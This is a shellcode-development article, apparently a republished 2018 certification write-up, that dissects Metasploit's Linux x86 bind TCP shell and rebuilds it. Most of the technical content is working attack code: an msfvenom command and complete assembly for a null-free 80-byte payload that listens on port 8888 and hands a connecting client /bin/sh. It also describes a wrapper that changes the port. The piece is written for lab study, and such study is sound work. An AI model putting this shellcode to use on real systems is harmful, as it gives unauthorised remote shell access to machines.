Art of Shellcoding: The Saga of Bind TCP Shell

Shellcode Research Nipun Jaswal todayJanuary 2, 2018 2

Background
share close

Legacy research restoration. Originally published on 2 January 2018 as part of the SecurityTube Linux Assembly Expert programme under student ID SLAE-1080. The original research sequence, images, code references and publication date have been preserved.

The Saga of Bind TCP Shell

Bind TCP shellcode is frequently used in exploit-development labs, but payload bytes are often copied without understanding their behaviour. This exercise analysed Metasploit’s Linux x86 bind-shell payload, reconstructed it from system-call behaviour, removed null bytes, reduced its size and added a dynamic port wrapper.

Research objectives

  • Analyse the bind shell generated by Metasploit
  • Construct a custom Linux x86 implementation
  • Remove null bytes and other bad characters
  • Reduce the payload size
  • Create a wrapper that changes the listening port dynamically

Libemu and strace analysis

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f raw | sctest -vvv -Ss 10000

Libemu analysis of the Linux x86 bind TCP shellcode
Libemu flow analysis of the bind TCP payload
Strace analysis of the bind TCP shellcode
System-call sequence observed through strace

The payload follows the expected sequence: create a socket, bind it to a local port, listen, accept a connection, duplicate the accepted descriptor to standard input/output/error and execute a shell.

SYS_SOCKET

xor ebx,ebx
xor eax,eax
mov al,102
inc bl
push esi
push byte 1
push byte 2
mov ecx,esp
int 0x80

The socketcall identifier is placed in EAX, SYS_SOCKET in EBX and a pointer to the argument structure {AF_INET, SOCK_STREAM, IPPROTO_IP} in ECX.

SYS_BIND

xchg edi,eax
push esi
push word 0xb822
push word 2
mov ebx,esp
push byte 16
push ebx
push edi
xor ebx,ebx
mul ebx
mov al,102
mov bl,2
mov ecx,esp
int 0x80

The socket descriptor returned by SYS_SOCKET is saved in EDI. Port 8888 and AF_INET are pushed in word-sized pieces to avoid introducing leading null bytes. The sockaddr pointer, length and descriptor are then passed to SYS_BIND.

SYS_LISTEN and SYS_ACCEPT

; SYS_LISTEN
push esi
push edi
xor ebx,ebx
mul ebx
mov al,102
mov bl,4
mov ecx,esp
int 0x80

; SYS_ACCEPT
xor ebx,ebx
mul ebx
push esi
push esi
push edi
mov al,102
mov bl,5
mov ecx,esp
int 0x80

The listening descriptor is reused for the listen and accept socketcall operations. Null sockaddr and length pointers are supplied for the accepted connection.

DUP2 and EXECVE

The accepted client descriptor is moved into EBX. A compact loop invokes DUP2 for descriptors 2, 1 and 0, after which a null-terminated /bin//sh string is placed on the stack and EXECVE is invoked.

Bind shell DUP2 and EXECVE sequence

Extracting the bind TCP shellcode bytes

Bind TCP shellcode execution test

Reducing the payload from 108 to 80 bytes

The first null-free implementation measured 108 bytes. It was reduced to 80 bytes by reusing registers, using PUSH/POP pairs, preferring single-byte instructions, exchanging register values rather than copying them and avoiding repeated setup.

global _start
section .text
_start:

; SYS_SOCKET
push 0x66
pop eax
cdq
push ebx
inc ebx
push ebx
push 0x2
mov ecx,esp
int 0x80

; SYS_BIND
pop ebx
pop esi
push edx
push word 0xb822
push edx
push byte 0x02
push 0x10
push ecx
push eax
mov ecx,esp
mov al,0x66
int 0x80

; SYS_LISTEN
pop edx
pop eax
xor eax,eax
push eax
push edx
cdq
mov bl,0x4
mov al,0x66
int 0x80

; SYS_ACCEPT
inc ebx
mov al,0x66
int 0x80

; DUP2
xchg eax,ebx
pop ecx
loop:
 mov al,63
 int 0x80
 dec ecx
 jns loop

done:
 push eax
 push 0x68732f2f
 push 0x6e69622f
 mov ebx,esp
 push eax
 mov ecx,esp
 mov al,0xb
 int 0x80

Dynamic port wrapper

Port 8888 appears in the payload as the byte sequence 22 b8. The original Python generator accepted a C stub and a replacement port, converted the port to the required byte order, replaced the default bytes and compiled a lab executable with stack-protection disabled and an executable stack.

Dynamic bind shell port generator

Original source files

  1. bind_shell_108.nasm — original 108-byte null-free version
  2. bind_shell_80.nasm — optimised 80-byte version
  3. shellcode108.c
  4. shellcode80.c
  5. linux_bind_shell_generator.py — dynamic port wrapper
  6. Complete ASSGN-1 repository

This article was created for completing the requirements of the SecurityTube Linux Assembly Expert certification. Student ID: SLAE-1080.


Art of Shellcoding series

Series hub · Next: Reverse TCP Shellcode →

2026 archival context

This article documents historical 32-bit Linux exploit-development research and tooling. Modern systems commonly add architectural, compiler and operating-system protections that change build and execution behaviour. The material is retained for controlled labs, defensive understanding and the historical research record.

Authorisation notice: Test only on systems you own or are explicitly authorised to assess.

Written by: Nipun Jaswal

Rate it